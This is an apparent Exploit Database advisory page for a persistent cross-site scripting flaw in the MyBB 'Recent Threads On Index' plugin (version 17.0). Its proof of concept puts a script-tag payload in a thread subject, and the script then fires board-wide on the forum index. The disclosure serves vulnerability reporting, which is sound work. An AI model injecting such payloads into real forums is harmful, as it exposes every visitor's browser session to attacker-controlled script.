MyBB Plugin Recent Threads On Index – Cross-Site Scripting

• Exploit Database
• 10 阅读

• 作者： Perileos
  日期： 2018-04-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44420/

• # Exploit Title: MyBB Recent threads
  # Date: 4th April 2018
  # Exploit Author: Perileos
  # Software Link: https://community.mybb.com/mods.php?action=view&pid=191
  # Version: 17.0
  # Tested on: Windows 10
  
  1. Description:
  This plugin shows recent threads in the side bar on your MyBB forum.
  
  2. Proof of concept:
  
  Persistent XSS
  - Create a thread with the following subject <p
  """><SCRIPT>alert("XSS")</SCRIPT>">
  - Navigate to the index to see a board wide persistent XSS alert.